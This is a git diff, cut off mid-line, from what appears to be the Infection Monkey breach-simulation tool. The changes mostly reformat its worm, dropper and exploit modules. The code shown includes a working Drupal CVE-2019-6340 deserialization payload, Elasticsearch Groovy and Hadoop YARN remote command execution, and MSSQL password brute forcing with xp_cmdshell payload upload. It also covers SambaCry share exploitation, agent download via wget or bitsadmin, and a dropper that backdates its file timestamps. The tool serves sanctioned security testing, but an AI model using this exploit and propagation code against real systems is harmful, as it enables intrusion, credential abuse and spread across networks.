(WormConfiguration.current_server, filename), # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT, + PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), + # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT, ) except requests.exceptions.RequestException: return False @@ -383,14 +392,14 @@ def get_pba_file(filename): def get_T1216_pba_file(): try: return requests.get( - urljoin( - f"https://{WormConfiguration.current_server}/", # noqa: DUO123 - T1216_PBA_FILE_DOWNLOAD_PATH, - ), - verify=False, - proxies=ControlClient.proxies, - stream=True, - timeout=MEDIUM_REQUEST_TIMEOUT, + urljoin( + f"https://{WormConfiguration.current_server}/", # noqa: DUO123 + T1216_PBA_FILE_DOWNLOAD_PATH, + ), + verify=False, + proxies=ControlClient.proxies, + stream=True, + timeout=MEDIUM_REQUEST_TIMEOUT, ) except requests.exceptions.RequestException: return False @@ -398,21 +407,24 @@ def get_T1216_pba_file(): @staticmethod def should_monkey_run(vulnerable_port: str) -> bool: if ( - vulnerable_port - and WormConfiguration.get_hop_distance_to_island() > 1 - and ControlClient.can_island_see_port(vulnerable_port) - and WormConfiguration.started_on_island + vulnerable_port + and WormConfiguration.get_hop_distance_to_island() > 1 + and ControlClient.can_island_see_port(vulnerable_port) + and WormConfiguration.started_on_island ): raise PlannedShutdownException( - "Monkey shouldn't run on current machine " - "(it will be exploited later with more depth)." + "Monkey shouldn't run on current machine " + "(it will be exploited later with more depth)." ) return True @staticmethod def can_island_see_port(port): try: - url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}" + url = ( + f"https://{WormConfiguration.current_server}/api/monkey_control" + f"/check_remote_port/{port}" + ) response = requests.get(url, verify=False, timeout=SHORT_REQUEST_TIMEOUT) response = json.loads(response.content.decode()) return response["status"] == "port_visible" @@ -422,8 +434,8 @@ def can_island_see_port(port): @staticmethod def report_start_on_island(): requests.post( - f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", - data=json.dumps({"started_on_island": True}), - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT, + f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", + data=json.dumps({"started_on_island":True}), + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT, ) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 74c20321b27..fdb649cad43 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -53,8 +53,8 @@ def __init__(self, args): self.opts, _ = arg_parser.parse_known_args(args) self._config = { - "source_path": os.path.abspath(sys.argv[0]), - "destination_path": self.opts.location, + "source_path":os.path.abspath(sys.argv[0]), + "destination_path":self.opts.location, } def initialize(self): @@ -80,18 +80,18 @@ def start(self): shutil.move(self._config["source_path"], self._config["destination_path"]) LOG.info( - "Moved source file '%s' into '%s'", - self._config["source_path"], - self._config["destination_path"], + "Moved source file '%s' into '%s'", + self._config["source_path"], + self._config["destination_path"], ) file_moved = True except (WindowsError, IOError, OSError) as exc: LOG.debug( - "Error moving source file '%s' into '%s': %s", - self._config["source_path"], - self._config["destination_path"], - exc, + "Error moving source file '%s' into '%s': %s", + self._config["source_path"], + self._config["destination_path"], + exc, ) # if file still need to change path, copy it @@ -100,16 +100,16 @@ def start(self): shutil.copy(self._config["source_path"], self._config["destination_path"]) LOG.info( - "Copied source file '%s' into '%s'", - self._config["source_path"], - self._config["destination_path"], + "Copied source file '%s' into '%s'", + self._config["source_path"], + self._config["destination_path"], ) except (WindowsError, IOError, OSError) as exc: LOG.error( - "Error copying source file '%s' into '%s': %s", - self._config["source_path"], - self._config["destination_path"], - exc, + "Error copying source file '%s' into '%s': %s", + self._config["source_path"], + self._config["destination_path"], + exc, ) return False @@ -117,7 +117,7 @@ def start(self): if WormConfiguration.dropper_set_date: if sys.platform == "win32": dropper_date_reference_path = os.path.expandvars( - WormConfiguration.dropper_date_reference_path_windows + WormConfiguration.dropper_date_reference_path_windows ) else: dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux @@ -125,58 +125,59 @@ def start(self): ref_stat = os.stat(dropper_date_reference_path) except OSError: LOG.warning( - "Cannot set reference date using '%s', file not found", - dropper_date_reference_path, + "Cannot set reference date using '%s', file not found", + dropper_date_reference_path, ) else: try: os.utime( - self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime) + self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime) ) except OSError: LOG.warning("Cannot set reference date to destination file") monkey_options = build_monkey_commandline_explicitly( - parent=self.opts.parent, - tunnel=self.opts.tunnel, - server=self.opts.server, - depth=self.opts.depth, - location=None, - vulnerable_port=self.opts.vulnerable_port, + parent=self.opts.parent, + tunnel=self.opts.tunnel, + server=self.opts.server, + depth=self.opts.depth, + location=None, + vulnerable_port=self.opts.vulnerable_port, ) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = ( - MONKEY_CMDLINE_WINDOWS % {"monkey_path": self._config["destination_path"]} - + monkey_options + MONKEY_CMDLINE_WINDOWS % {"monkey_path":self._config["destination_path"]} + + monkey_options ) else: dest_path = self._config["destination_path"] - # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually + # In linux we have a more complex commandline. There's a general outer one, + # and the inner one which actually # runs the monkey inner_monkey_cmdline = ( - MONKEY_CMDLINE_LINUX % {"monkey_filename": dest_path.split("/")[-1]} - + monkey_options + MONKEY_CMDLINE_LINUX % {"monkey_filename":dest_path.split("/")[-1]} + + monkey_options ) monkey_cmdline = GENERAL_CMDLINE_LINUX % { - "monkey_directory": dest_path[0 : dest_path.rfind("/")], - "monkey_commandline": inner_monkey_cmdline, + "monkey_directory":dest_path[0: dest_path.rfind("/")], + "monkey_commandline":inner_monkey_cmdline, } monkey_process = subprocess.Popen( - monkey_cmdline, - shell=True, - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - close_fds=True, - creationflags=DETACHED_PROCESS, + monkey_cmdline, + shell=True, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + close_fds=True, + creationflags=DETACHED_PROCESS, ) LOG.info( - "Executed monkey process (PID=%d) with command line: %s", - monkey_process.pid, - monkey_cmdline, + "Executed monkey process (PID=%d) with command line: %s", + monkey_process.pid, + monkey_cmdline, ) time.sleep(3) @@ -188,9 +189,10 @@ def cleanup(self): try: if ( - (self._config["source_path"].lower() != self._config["destination_path"].lower()) - and os.path.exists(self._config["source_path"]) - and WormConfiguration.dropper_try_move_first + (self._config["source_path"].lower() != self._config[ + "destination_path"].lower()) + and os.path.exists(self._config["source_path"]) + and WormConfiguration.dropper_try_move_first ): # try removing the file first @@ -198,23 +200,24 @@ def cleanup(self): os.remove(self._config["source_path"]) except Exception as exc: LOG.debug( - "Error removing source file '%s': %s", self._config["source_path"], exc + "Error removing source file '%s': %s", self._config["source_path"], exc ) # mark the file for removal on next boot dropper_source_path_ctypes = c_char_p(self._config["source_path"]) if 0 == ctypes.windll.kernel32.MoveFileExA( - dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT + dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT ): LOG.debug( - "Error marking source file '%s' for deletion on next boot (error %d)", - self._config["source_path"], - ctypes.windll.kernel32.GetLastError(), + "Error marking source file '%s' for deletion on next boot (error " + "%d)", + self._config["source_path"], + ctypes.windll.kernel32.GetLastError(), ) else: LOG.debug( - "Dropper source file '%s' is marked for deletion on next boot", - self._config["source_path"], + "Dropper source file '%s' is marked for deletion on next boot", + self._config["source_path"], ) T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index e5bdf6dfe95..857137c7cc6 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -10,7 +10,6 @@ __author__ = "itamar" - logger = logging.getLogger(__name__) @@ -37,7 +36,8 @@ def base_package_name(): EXPLOIT_TYPE = ExploitType.VULNERABILITY # Determines if successful exploitation should stop further exploit attempts on that machine. - # Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent. + # Generally, should be True for RCE type exploiters and False if we don't expect the + # exploiter to run the monkey agent. # Example: Zerologon steals credentials RUNS_AGENT_ON_SUCCESS = True @@ -49,12 +49,12 @@ def _EXPLOITED_SERVICE(self): def __init__(self, host): self._config = WormConfiguration self.exploit_info = { - "display_name": self._EXPLOITED_SERVICE, - "started": "", - "finished": "", - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], + "display_name":self._EXPLOITED_SERVICE, + "started":"", + "finished":"", + "vulnerable_urls":[], + "vulnerable_ports":[], + "executed_cmds":[], } self.exploit_attempts = [] self.host = host @@ -75,14 +75,14 @@ def send_exploit_telemetry(self, result): def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): self.exploit_attempts.append( - { - "result": result, - "user": user, - "password": password, - "lm_hash": lm_hash, - "ntlm_hash": ntlm_hash, - "ssh_key": ssh_key, - } + { + "result":result, + "user":user, + "password":password, + "lm_hash":lm_hash, + "ntlm_hash":ntlm_hash, + "ssh_key":ssh_key, + } ) def exploit_host(self): @@ -120,4 +120,4 @@ def add_executed_cmd(self, cmd): :param cmd: String of executed command. e.g. 'echo Example' """ powershell = True if "powershell" in cmd.lower() else False - self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) + self.exploit_info["executed_cmds"].append({"cmd":cmd, "powershell":powershell}) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index efbbc2f5608..aaeba8f1c9d 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -1,7 +1,8 @@ """ Remote Code Execution on Drupal server - CVE-2019-6340 Implementation is based on: - https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a. + https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88 + /f9f6a5bb6605745e292bee3a4079f261d891738a. """ import logging @@ -28,7 +29,8 @@ def __init__(self, host): def get_exploit_config(self): """ - We override this function because the exploits requires a special extension in the URL, "node", + We override this function because the exploits requires a special extension in the URL, + "node", e.g. an exploited URL would be http://172.1.2.3:/node/3. :return: the Drupal exploit config """ @@ -42,7 +44,8 @@ def get_exploit_config(self): def add_vulnerable_urls(self, potential_urls, stop_checking=False): """ - We need a specific implementation of this function in order to add the URLs *with the node IDs*. + We need a specific implementation of this function in order to add the URLs *with the + node IDs*. We therefore check, for every potential URL, all possible node IDs. :param potential_urls: Potentially-vulnerable URLs :param stop_checking: Stop if one vulnerable URL is found @@ -58,7 +61,7 @@ def add_vulnerable_urls(self, potential_urls, stop_checking=False): node_url = urljoin(url, str(node_id)) if self.check_if_exploitable(node_url): self.add_vuln_url( - url + url ) # This is for report. Should be refactored in the future self.vulnerable_urls.append(node_url) if stop_checking: @@ -71,7 +74,8 @@ def add_vulnerable_urls(self, potential_urls, stop_checking=False): def check_if_exploitable(self, url): """ Check if a certain URL is exploitable. - We use this specific implementation (and not simply run self.exploit) because this function does not "waste" + We use this specific implementation (and not simply run self.exploit) because this + function does not "waste" a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic. :param url: Drupal's URL and port :return: Vulnerable URL if exploitable, otherwise False @@ -79,11 +83,11 @@ def check_if_exploitable(self, url): payload = build_exploitability_check_payload(url) response = requests.get( - f"{url}?_format=hal_json", # noqa: DUO123 - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT, + f"{url}?_format=hal_json", # noqa: DUO123 + json=payload, + headers={"Content-Type":"application/hal+json"}, + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT, ) if is_response_cached(response): @@ -99,11 +103,11 @@ def exploit(self, url, command): payload = build_cmd_execution_payload(base, cmd) r = requests.get( - f"{url}?_format=hal_json", # noqa: DUO123 - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=LONG_REQUEST_TIMEOUT, + f"{url}?_format=hal_json", # noqa: DUO123 + json=payload, + headers={"Content-Type":"application/hal+json"}, + verify=False, + timeout=LONG_REQUEST_TIMEOUT, ) if is_response_cached(r): @@ -117,7 +121,8 @@ def exploit(self, url, command): def get_target_url(self): """ - We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL. + We're overriding this method such that every time self.exploit is invoked, we use a fresh + vulnerable URL. Reusing the same URL eliminates its exploitability because of caching reasons :) :return: vulnerable URL to exploit """ @@ -128,14 +133,16 @@ def are_vulnerable_urls_sufficient(self): For the Drupal exploit, 5 distinct URLs are needed to perform the full attack. :return: Whether the list of vulnerable URLs has at least 5 elements. """ - # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it. + # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, + # chmod it and run it. num_urls_needed_for_full_exploit = 5 num_available_urls = len(self.vulnerable_urls) result = num_available_urls >= num_urls_needed_for_full_exploit if not result: LOG.info( - f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server " - f"but only {num_available_urls} found" + f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a " + f"Drupal server " + f"but only {num_available_urls} found" ) return result @@ -151,7 +158,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 while lower < upper: node_url = urljoin(base_url, str(lower)) response = requests.get( - node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT + node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT ) # noqa: DUO123 if response.status_code == 200: if is_response_cached(response): @@ -164,30 +171,30 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 def build_exploitability_check_payload(url): payload = { - "_links": {"type": {"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}}, - "type": {"target_id": "article"}, - "title": {"value": "My Article"}, - "body": {"value": ""}, + "_links":{"type":{"href":f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"}}, + "type":{"target_id":"article"}, + "title":{"value":"My Article"}, + "body":{"value":""}, } return payload def build_cmd_execution_payload(base, cmd): payload = { - "link": [ + "link":[ { - "value": "link", - "options": 'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000' - 'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"' - 'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:' - '{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";' - 's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000' - 'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000' - 'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"' - 'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}' - "".replace("|size|", str(len(cmd))).replace("|command|", cmd), + "value":"link", + "options":'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{s:33:"\u0000' + 'GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{s:5:"' + 'close";a:2:{i:0;O:23:"GuzzleHttp\\HandlerStack":3:' + '{s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";' + 's:|size|:"|command|";s:30:"\u0000GuzzleHttp\\HandlerStack\u0000' + 'stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000' + 'GuzzleHttp\\HandlerStack\u0000cached";b:0;}i:1;s:7:"' + 'resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}' + "".replace("|size|", str(len(cmd))).replace("|command|", cmd), } ], - "_links": {"type": {"href": f"{urljoin(base, '/rest/type/shortcut/default')}"}}, + "_links":{"type":{"href":f"{urljoin(base, '/rest/type/shortcut/default')}"}}, } return payload diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index ca1c0408b79..aff5e1ffdea 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -1,6 +1,7 @@ """ Implementation is based on elastic search groovy exploit by metasploit - https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb + https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66 + /modules/exploits/multi/elasticsearch/search_groovy_script.rb Max vulnerable elasticsearch version is "1.4.2" """ @@ -33,11 +34,12 @@ class ElasticGroovyExploiter(WebRCE): # attack URLs MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = ( - """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD + """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD ) JAVA_CMD = ( - GENERIC_QUERY - % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + GENERIC_QUERY + % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec( + \\"%s\\").getText()""" ) _TARGET_OS_TYPE = ["linux", "windows"] @@ -51,13 +53,14 @@ def get_exploit_config(self): exploit_config["dropper"] = True exploit_config["url_extensions"] = ["_search?pretty"] exploit_config["upload_commands"] = { - "linux": WGET_HTTP_UPLOAD, - "windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP, + "linux":WGET_HTTP_UPLOAD, + "windows":CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP, } return exploit_config def get_open_service_ports(self, port_list, names): - # We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service + # We must append elastic port we get from elastic fingerprint module because It's not + # marked as 'http' service valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names) if ES_SERVICE in self.host.services: valid_ports.append([ES_PORT, False]) @@ -70,7 +73,8 @@ def exploit(self, url, command): response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT) except requests.ReadTimeout: LOG.error( - "Elastic couldn't upload monkey, because server didn't respond to upload request." + "Elastic couldn't upload monkey, because server didn't respond to upload " + "request." ) return False result = self.get_results(response) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index d92c39f6c66..02ec8165272 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -1,6 +1,7 @@ """ Remote code execution on HADOOP server with YARN and default settings - Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn + Implementation is based on code from + https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn """ import json @@ -63,25 +64,27 @@ def _exploit_host(self): def exploit(self, url, command): # Get the newly created application id resp = requests.post( - posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT + posixpath.join(url, "ws/v1/cluster/apps/new-application"), + timeout=LONG_REQUEST_TIMEOUT ) resp = json.loads(resp.content) app_id = resp["application-id"] # Create a random name for our application in YARN rand_name = ID_STRING + "".join( - [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] + [random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] ) payload = self.build_payload(app_id, rand_name, command) resp = requests.post( - posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT + posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, + timeout=LONG_REQUEST_TIMEOUT ) return resp.status_code == 202 def check_if_exploitable(self, url): try: resp = requests.post( - posixpath.join(url, "ws/v1/cluster/apps/new-application"), - timeout=LONG_REQUEST_TIMEOUT, + posixpath.join(url, "ws/v1/cluster/apps/new-application"), + timeout=LONG_REQUEST_TIMEOUT, ) except requests.ConnectionError: return False @@ -90,7 +93,8 @@ def check_if_exploitable(self, url): def build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0] + self.host, get_monkey_depth() - 1, + vulnerable_port=HadoopExploiter.HADOOP_PORTS[0][0] ) if "linux" in self.host.os["type"]: base_command = HADOOP_LINUX_COMMAND @@ -98,22 +102,22 @@ def build_command(self, path, http_path): base_command = HADOOP_WINDOWS_COMMAND return base_command % { - "monkey_path": path, - "http_path": http_path, - "monkey_type": MONKEY_ARG, - "parameters": monkey_cmd, + "monkey_path":path, + "http_path":http_path, + "monkey_type":MONKEY_ARG, + "parameters":monkey_cmd, } @staticmethod def build_payload(app_id, name, command): payload = { - "application-id": app_id, - "application-name": name, - "am-container-spec": { - "commands": { - "command": command, + "application-id":app_id, + "application-name":name, + "am-container-spec":{ + "commands":{ + "command":command, } }, - "application-type": "YARN", + "application-type":"YARN", } return payload diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 893ee8ca12a..816c7d6b13c 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -50,18 +50,19 @@ def __init__(self, host): self.cursor = None self.monkey_server = None self.payload_file_path = os.path.join( - MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME + MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME ) def _exploit_host(self): """ First this method brute forces to get the mssql connection (cursor). - Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after + Also, don't forget to start_monkey_server() before self.upload_monkey() and + self.stop_monkey_server() after """ # Brute force to get connection username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() self.cursor = self.brute_force( - self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list + self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list ) # Create dir for payload @@ -91,13 +92,13 @@ def run_payload_file(self): def create_temp_dir(self): dir_creation_command = MSSQLLimitedSizePayload( - command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH) + command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH) ) self.run_mssql_command(dir_creation_command) def create_empty_payload_file(self): suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format( - payload_file_path=self.payload_file_path + payload_file_path=self.payload_file_path ) tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix) self.run_mssql_command(tmp_file_creation_command) @@ -126,11 +127,11 @@ def upload_monkey(self): def remove_temp_dir(self): # Remove temporary dir we stored payload at tmp_file_removal_command = MSSQLLimitedSizePayload( - command="del {}".format(self.payload_file_path) + command="del {}".format(self.payload_file_path) ) self.run_mssql_command(tmp_file_removal_command) tmp_dir_removal_command = MSSQLLimitedSizePayload( - command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH) + command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH) ) self.run_mssql_command(tmp_dir_removal_command) @@ -150,27 +151,27 @@ def get_monkey_launch_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) # Form monkey's launch command monkey_args = build_monkey_commandline( - self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path + self.host, get_monkey_depth() - 1, MSSQLExploiter.SQL_DEFAULT_TCP_PORT, dst_path ) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( - command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), - prefix=prefix, - suffix=suffix, + command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args), + prefix=prefix, + suffix=suffix, ) def get_monkey_download_command(self): dst_path = get_monkey_dest_path(self.monkey_server.http_path) monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.monkey_server.http_path, dst_path=dst_path + http_path=self.monkey_server.http_path, dst_path=dst_path ) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( - payload_file_path=self.payload_file_path + payload_file_path=self.payload_file_path ) return MSSQLLimitedSizePayload( - command=monkey_download_command, suffix=suffix, prefix=prefix + command=monkey_download_command, suffix=suffix, prefix=prefix ) def brute_force(self, host, port, users_passwords_pairs_list): @@ -181,10 +182,12 @@ def brute_force(self, host, port, users_passwords_pairs_list): Args: host (str): Host ip address port (str): Tcp port that the host listens to - users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with + users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce + with Return: - True or False depends if the whole bruteforce and attack process was completed successfully or not + True or False depends if the whole bruteforce and attack process was completed + successfully or not """ # Main loop # Iterates on users list @@ -193,12 +196,12 @@ def brute_force(self, host, port, users_passwords_pairs_list): # Core steps # Trying to connect conn = pymssql.connect( - host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT + host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT ) LOG.info( - "Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}".format( - host, user, self._config.hash_sensitive_data(password) - ) + "Successfully connected to host: {0}, using user: {1}, password (" + "SHA-512): {2}".format(host, user, + self._config.hash_sensitive_data(password)) ) self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) @@ -210,19 +213,19 @@ def brute_force(self, host, port, users_passwords_pairs_list): pass LOG.warning( - "No user/password combo was able to connect to host: {0}:{1}, " - "aborting brute force".format(host, port) + "No user/password combo was able to connect to host: {0}:{1}, " + "aborting brute force".format(host, port) ) raise FailedExploitationError( - "Bruteforce process failed on host: {0}".format(self.host.ip_addr) + "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) class MSSQLLimitedSizePayload(LimitedSizePayload): def __init__(self, command, prefix="", suffix=""): super(MSSQLLimitedSizePayload, self).__init__( - command=command, - max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, - prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, - suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END, + command=command, + max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE, + prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix, + suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END, ) diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index b0387105ef5..31cf8a4b0cb 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -54,7 +54,8 @@ class SambaCryExploiter(HostExploiter): """ - SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: + SambaCry exploit module, partially based on the following implementation by CORE Security + Technologies' impacket: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py """ @@ -88,13 +89,13 @@ def _exploit_host(self): writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr) LOG.info( - "Writable shares and their credentials on host %s: %s" - % (self.host.ip_addr, str(writable_shares_creds_dict)) + "Writable shares and their credentials on host %s: %s" + % (self.host.ip_addr, str(writable_shares_creds_dict)) ) self.exploit_info["shares"] = {} for share in writable_shares_creds_dict: - self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]} + self.exploit_info["shares"][share] = {"creds":writable_shares_creds_dict[share]} self.try_exploit_share(share, writable_shares_creds_dict[share]) # Wait for samba server to load .so, execute code and create result file. @@ -104,23 +105,23 @@ def _exploit_host(self): for share in writable_shares_creds_dict: trigger_result = self.get_trigger_result( - self.host.ip_addr, share, writable_shares_creds_dict[share] + self.host.ip_addr, share, writable_shares_creds_dict[share] ) creds = writable_shares_creds_dict[share] self.report_login_attempt( - trigger_result is not None, - creds["username"], - creds["password"], - creds["lm_hash"], - creds["ntlm_hash"], + trigger_result is not None, + creds["username"], + creds["password"], + creds["lm_hash"], + creds["ntlm_hash"], ) if trigger_result is not None: successfully_triggered_shares.append((share, trigger_result)) url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % { - "username": creds["username"], - "host": self.host.ip_addr, - "port": self.SAMBA_PORT, - "share_name": share, + "username":creds["username"], + "host":self.host.ip_addr, + "port":self.SAMBA_PORT, + "share_name":share, } self.add_vuln_url(url) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) @@ -130,8 +131,8 @@ def _exploit_host(self): if len(successfully_triggered_shares) > 0: LOG.info( - "Shares triggered successfully on host %s: %s" - % (self.host.ip_addr, str(successfully_triggered_shares)) + "Shares triggered successfully on host %s: %s" + % (self.host.ip_addr, str(successfully_triggered_shares)) ) self.add_vuln_port(self.SAMBA_PORT) return True @@ -151,8 +152,8 @@ def try_exploit_share(self, share, creds): self.trigger_module(smb_client, share) except (impacket.smbconnection.SessionError, SessionError): LOG.debug( - "Exception trying to exploit host: %s, share: %s, with creds: %s." - % (self.host.ip_addr, share, str(creds)) + "Exception trying to exploit host: %s, share: %s, with creds: %s." + % (self.host.ip_addr, share, str(creds)) ) def clean_share(self, ip, share, creds): @@ -194,7 +195,8 @@ def get_trigger_result(self, ip, share, creds): file_content = None try: file_id = smb_client.openFile( - tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, 